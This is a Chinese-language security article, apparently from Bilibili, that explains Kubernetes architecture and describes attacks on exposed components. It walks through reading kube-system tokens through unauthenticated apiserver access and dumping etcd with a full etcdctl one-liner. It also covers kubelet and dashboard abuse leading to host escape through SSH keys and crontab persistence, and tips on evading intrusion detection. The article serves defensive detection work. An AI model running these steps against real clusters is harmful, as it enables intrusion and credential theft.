kubernetes简称 k8s,是一个由google开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
k8s集群由Master节点和Worker节点组成:
用户端一般通过kubectl命令行工具与kube-apiserver进行交互,当然如果不嫌麻烦也可以直接通过调用kube-apiserver的api来交互。用户端命令下发通常流程如下:
(1)客户端根据用户需求,调用kube-apiserver相应api
(2)kube-apiserver根据命令类型,联动master节点内的kube-controller-manager和kube-scheduler等组件,通过kubelet进行下发新建容器配置或下发执行命令等给到对应node节点
(3)node节点与容器进行交互完成下发的命令并返回结果
(4)master节点最终根据任务类型将结果持久化存储在etcd中。
k8s集群主要由以下组件组成:
(1)kube-apiserver:k8s master节点api服务器,以REST API服务形式提供接口,作为整个k8s的控制入口。
(2)kube-controller-manager:执行整个k8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等。
(3)kube-scheduler:接收来自kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。
(4)etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库
(5)kube-proxy:运行在每个node节点上,负责pod网络代理。定时从etcd获取到service信息来做相应的策略。
(6)kubelet:运行在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver。
本节会详细阐述各k8s主要组件的对外攻击面利用。另外因篇幅有限,以下小节中提到的具体逃逸步骤和原理不会详细展开。
(2)访问http://x.x.x.x:8080/api/v1/namespaces/kube-system/secrets/,获取kube-system的token
(3)创建kubectl配置文件,指定目标地址和步骤2中拿到的token等
(4)kubectl --kubeconfig=./test_config get pod -n kube-system -o wide成功通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作
(3)可使用kubeletctl在特权pod内执行命令,挂载宿主机根目录,通过向宿主机批量写入ssh公钥逃逸到宿主机
(2)通过etcdctl工具,导出etcd数据库中内容:etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c ‘ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379 get {} >> output.data && echo “” >> output.data’,通过搜索关键字获取kube-system secret
(3)curl --header -k “Authorization: Bearer TOKEN” -X GET https://x.x.x.x:6443/api,通过请求kube-apiserver验证token是否有效。
(2)可通过dashboard获取pod、node和job等状态
(3)若业务配置错误或为了方便给 Kubernetes dashboard 绑定 cluster-admin等角色,攻击者可直接在界面上创建特权 pod 进行容器逃逸
(3)后续可通过写入ssh公钥和crontab等,完成逃逸和持久化
(2)之后请求8001端口即可未授权访问kube-apiserver,利用过程与2.2相同
基于攻防演练、红蓝对抗的攻击方视角,为避免打poc(检测对外组件类漏洞)直接导致入侵检测系统告警或被防守方感知,周期性自动化扫描检测一般遵从以下原则:
(1)尽量不直接rce执行命令,通过页面返回特征、组件版本或上下文关联等进行检测
(2)在1的基础上,宁可一定量的误报,而非漏报
(3)由于互联网甲方资产较多,每个poc的请求量需严格控制,能少则少
另外,收集到的资产多少和准确度也是个影响扫描的重要因素,资产收集不仅仅依赖于传统前期信息收集来源的资产,也需要对已有数据(来自互联网或自己存下的)进行深入二次分析,如:
在第二节中提到的大多数组件未授权漏洞,均可通过页面返回特征进行匹配,少数漏洞如kubelet的10250端口和10255端口未授权,由于返回特征类似,不一定要根据返回页面细节将这两个端口未授权漏洞进行区分。
配合自研分布式漏扫,即可进行周期性检测:
本文介绍了k8s相关基础知识,并详细阐述了k8s主要组件对外攻击面和利用过程,最后提出了针对k8s对外攻击面的漏洞检测思路和方法。